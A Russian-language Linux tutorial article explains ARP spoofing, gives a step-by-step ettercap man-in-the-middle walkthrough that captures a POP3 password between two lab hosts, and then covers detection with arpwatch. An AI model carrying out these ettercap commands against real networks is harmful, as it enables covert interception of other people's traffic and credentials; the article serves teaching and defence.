ARP-spoofing

Linux > ARP-spoofing
26.11.2014 17:11:12



Статья:

ARP-spoofing (ARP-poisoning) — техника сетевой атаки, применяемая преимущественно в Ethernet, но возможная и в других, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена.

Алгоритм работы ARP

Протокол может использоваться в следующих случаях:

  1. Хост A хочет передать IP-пакет узлу B, находящемуся с ним в одной сети;
  2. Хост A хочет передать IP-пакет узлу B, находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R.

В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B, а во втором — для определения MAC-адреса маршрутизатора R. В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции.

Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.)

Проблемы ARP

Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP).

Самопроизвольный ARP — такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса. Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP.

Самопроизвольный ARP может быть полезен в следующих случаях:

  • Обновление ARP-таблиц, в частности, в кластерных системах;
  • Информирование коммутаторов;
  • Извещение о включении сетевого интерфейса.

Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь.

Инструменты для выполнения ARP-spoofing'а

В настоящее время существует несколько инструментов для выполнения ARP-spoofing'а, работающие как в ОС Linux, так и в ОС Windows.

Наиболее известные:

Все названные программы распространяются свободно.

Выполнение ARP-spoofing'а c помощью ettercap

[Пример выполнения атаки с помощью ettercap.] Рассмотрим как выполнить вышеописанную атаку с помощью ettercap.

  • Что происходит на машине A.
  • Что происходит на машине B.
  • Что происходит на машине C.

Детально рассмотрим как выполняется ARP-spoofing. В качестве инструмента будем использовать программу ettercap, однако другие инструменты для выполнения ARP-spoofing'а работают аналогичным образом.


  • Машина A — hostA — 192.168.15.201 — 00:04:75:75:46:B1
  • Машина B — hostB — 192.168.15.254 — 00:0A:01:D4:D1:39
  • Машина C — hostC — 192.168.15.200 — 00:0A:01:D4:D1:E3

Атаку выполняет hostC против узлов hostA и hostB.

Установить ettercap принятым в системе способом:

hostC%# apt-get install ettercap

Выполнить атаку против узлов hostA и hostB:

%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/

Опции означают:

  • -T — использовать текстовый (консольный) интерфейс;
  • -M arp — использовать модуль ARP-spoofing'а для выполнения атаки;
  • -L log — записывать журнал перехвата в файлы с именем log.*;

В качестве аргументов указываются IP-адреса машин, против которых нужно выполнять атаку ARP-spoofing.


Пусть, например, в это время узел A обращается к узлу B по протоколу POP3, классическому примеру незащищённого, но очень распространённого протокола — проверяет почту.

hostA %# nc 192.168.15.254 110
USER user
+OK
PASS password
+OK
LIST
+OK
.

Данные передающиеся между клиентом hostA и сервером hostB проходят через узел C. Они выводятся на экран и записываются в файлы.

После того как атака завершена для выхода из ettercap необходимо нажать q. Программа отсылает ARP-пакеты для восстановления старых записей в кэше ARP узлов, чтобы они общались друг с другом напрямую.

В текущем каталоге должны появиться два файла, начинающиеся словом, указанным после ключа -L при вызове ettercap:

%# ls log.*
log.eci
log.ecp

Просмотреть их содержимое можно с помощью программы etterlog, входящей в пакет ettercap:

%# etterlog log.eci

etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Log file version    : NG-0.7.3
Timestamp           : Thu Jun 21 12:23:11 2007
Type                : LOG_INFO
1698 tcp OS fingerprint
7587 mac vendor fingerprint
2183 known services
==================================================
 IP address   : 192.168.15.201
 MAC address  : 00:04:75:75:46:B1
...
 MANUFACTURER : Sohoware
 DISTANCE     : 0
 TYPE         : LAN host
 FINGERPRINT      :
 OPERATING SYSTEM : UNKNOWN
   PORT     : TCP 110 | pop-3   []
      ACCOUNT : user
 / password
  (192.168.15.201)
==================================================

Как видно, пароль был успешно перехвачен.


Посмотрим как на узле hostA (атакуемом) меняется ARP-таблица

До атаки.

hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0

Во время атаки.

hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:E3 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0

После атаки.

hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0

Если смотреть, что происходит на интерфейсе eth0 компьютера hostA (через который выполняется атака), можно увидеть, что как только начинается атака, на интерфейс поступают ARP-пакеты, которые указывают, что MAC-адрес машины 192.168.15.254 изменился. Пакеты приходят постоянно. Когда атака завершена, MAC-адрес в пакета внезапно меняется на другой. А потом они вообще перестают приходить.

%# tcpdump -i eth0 arp
08:34:20.231680 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:21.259637 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:22.287591 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:23.315522 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:32.463255 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
08:34:33.491040 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
08:34:34.514988 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)

Точно также можно перехватить и прослушать телефонный звонок - VoIP-sniffing.

Такая техника гарантирует, что таблица ARP на жертвах будет восстановлена и никто не заметит атаки.

Методы обнаружения

arpwatch

Программа arpwatch отслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog.


Инсталляция и конфигурирование arpwatch

Процедуру инсталляции и конфигурирования arpwatch рассмотрим на примере системы Debian GNU/Linux.

Установка arpwatch выполняется традиционным для дистрибутива способом:

%# apt-get install arpwatch

0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 124kB of archives.
After unpacking 389kB of additional disk space will be used.
Get:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2 [124kB]
Fetched 124kB in 0s (177kB/s)
Selecting previously deselected package arpwatch.
(Reading database ... 22406 files and directories currently installed.)
Unpacking arpwatch (from .../arpwatch_2.1a13-2_i386.deb) ...
Setting up arpwatch (2.1a13-2) ...
Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

После того как демон проинсталлирован, он автоматически запускается. (в других системах его, возможно, нужно будет запускать вручную.)

%# ps aux | grep arpwatch
arpwatch  4810  0.5  0.4   3448  2360 ?        S    08:36   0:00 /usr/sbin/arpwatch -u arpwatch -N -p
root      4827  0.0  0.1   2852   712 pts/6    R+   08:36   0:00 grep arpwatch

Демон не имеет никаких конфигурационных файлов. Конфигурация arpwatch полностью определяется набором передаваемых ему ключей. В Debian GNU/Linux ключи указываются в конфигурационном файле /etc/default/arpwatch (в FreeBSD — в файле /etc/rc.conf).

При необходимости изменить конфигурацию arpwatch (в частности, заставить его прослушивать другие интерфейсы), нужно править указанный файл:

%# vi /etc/default/arpwatch
%# cat /etc/default/arpwatch

# Global options for arpwatch(8).
# Debian: don't report bogons, don't use PROMISC.
ARGS="-N -p"
# Debian: run as `arpwatch' user.  Empty this to run as root.
RUNAS="arpwatch"

Если конфигурация была изменена, демон должен быть перезапущен:

%# /etc/init.d/arpwatch restart

Когда демон запускается, он обнаруживает новые станции. Не выполняется никаких активных действий — просто прослушивается ARP-трафик. Обнаруженные узлы запоминаются; о том, что обнаружен новый узел arpwatch сообщает в syslog.

Обо всех зафиксированных им аномалиях в работе протокола ARP демон также сообщает в syslog:

# tail -f /var/log/daemon.log
Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.200 0:a:1:d4:d1:e3 eth0
Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.201 0:4:75:75:46:b1 eth0
Jun 21 08:37:09 s_all@linux2 arpwatch: new station 192.168.15.254 0:a:1:d4:d1:39 eth0
Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:11 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:12 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:13 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

Обратите внимание на строку

Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

которая сообщает о том, что узел 192.168.15.254 изменил MAC-адрес.

Возможно, это означает, что против узла, на котором запущен arpwatch выполняется ARP-spoofing с целью перехвата трафика, которым он обменивается с узлом 192.168.15.254.

источник http://xgu.ru/wiki/ARP-spoofing